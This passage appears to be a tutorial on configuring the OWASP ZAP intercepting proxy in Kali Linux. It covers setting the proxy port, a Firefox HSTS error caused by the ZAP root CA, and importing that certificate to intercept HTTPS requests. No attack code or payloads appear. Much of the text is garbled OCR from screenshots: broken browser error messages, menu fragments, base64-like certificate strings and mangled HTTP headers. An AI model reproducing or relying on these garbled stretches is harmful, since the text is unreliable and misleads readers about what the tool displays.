security testing. ZAP helps identify common security issues such as cross-site scripting (XSS),
SQL injection, and insecure configurations. It also provides features for manual security
testing, intercepting and modifying HTTP traffic, and generating reports to aid in securing web
applications.
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=] Contexts Forced Browse The HTTP port and HTTPS port must be the same port.
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Since ZAP is an alternative to the popular burpsuite, It is also a proxy tool and can be used to
intercept Web request. But before that, a local proxy host and port needs to be set. In the
above picture, a port of ‘8080’ was used which means in the browser network settings, a
proxy host and port with exact values will be set to intercept the request from the browser to
the ZAP proxy.
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Kali Linux A Did Not Connect: Potent %X 4 Dic nect: Potenti: X

= C @ €A Not Secure  https://www.google.com/sea lient=firefox-b-e&q=how-+to+configure+zap+prox

Kali Linux §8 KaliTools ¢ KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

H C onnection could not be established. This issue is caused by
OWASP Zed Attack Proxy Root CA, which is either software on your computer or your network.

What can you do about it?

y policy called HTTP Strict Transport Security (HSTS), which means that Firefox can
can't add an exception to visit this site.

« If you are on a corporate network, you can contact your IT department.

« If you are not rith OWASP Zed Attack Proxy Root CA, then this could be an attack, and there is nothing
n do to acc e site.

Advanced...

Unfortunately due to security reasons, our request was seen as malicious by the browser
when trying to intercept. In this case we need to prove the legitimacy of our proxy interceptor
so it doesn’t seem like a MITM attack. We will install the ZAP CA certificate in the browser.
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| GET:Trinity.t HTTP Sessions hXKNBkdgAj IWPZOBgMROBHSYqnn9UyVR7 j gDWQpAqe ore
HUD gUmmriwVot31RrH77t2vmT2S /us0Dc2PZqj 720 r38(
WM ZQj pMDgHYikWRKUQVccB78KtXThopkgvad7e9155+-
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Network 05PHLev1NcHec aCwvwSRobmaF fb3gRgIsmd7c X f9vRe
B History < Search Client Certificates mKpS/VMLUe46glkKQKnchfEMRFaWahbQ3bGKY44Tm®
= Connectlon kw7 rDg3Nj 2ac+9g69/EPMYK+QMsLezRIDhUOIZ2RAFY
@ @ Y Fitter: OFF @ Ex] Local Servers/Prox rVe4akZIL2u03vZeefnSy13CTIrL3wlcSKv ragmuu;
d  Sour.. Req.Times Server Certificates 1 NG Tags =l
7 P.. 6/8/23, 8:13 Reset to Factory Defaults Cancel oK i
Alerts 0 B0 0 W0 Nm—————— e m— D0 @0 40 O %0

& X

= Configuring OWASP ZA

ver Certificates

Certificates => Import and import the newly downloaded Root CA

Finally after our certificate is saved to our local disk and has been import into the browser CA
Authorities, We can now intercept our request without any futher interruptions.
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_im $rpc Host: id.google.com
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I https:/fwww Accept-Language: en-US,en;qg=0.5
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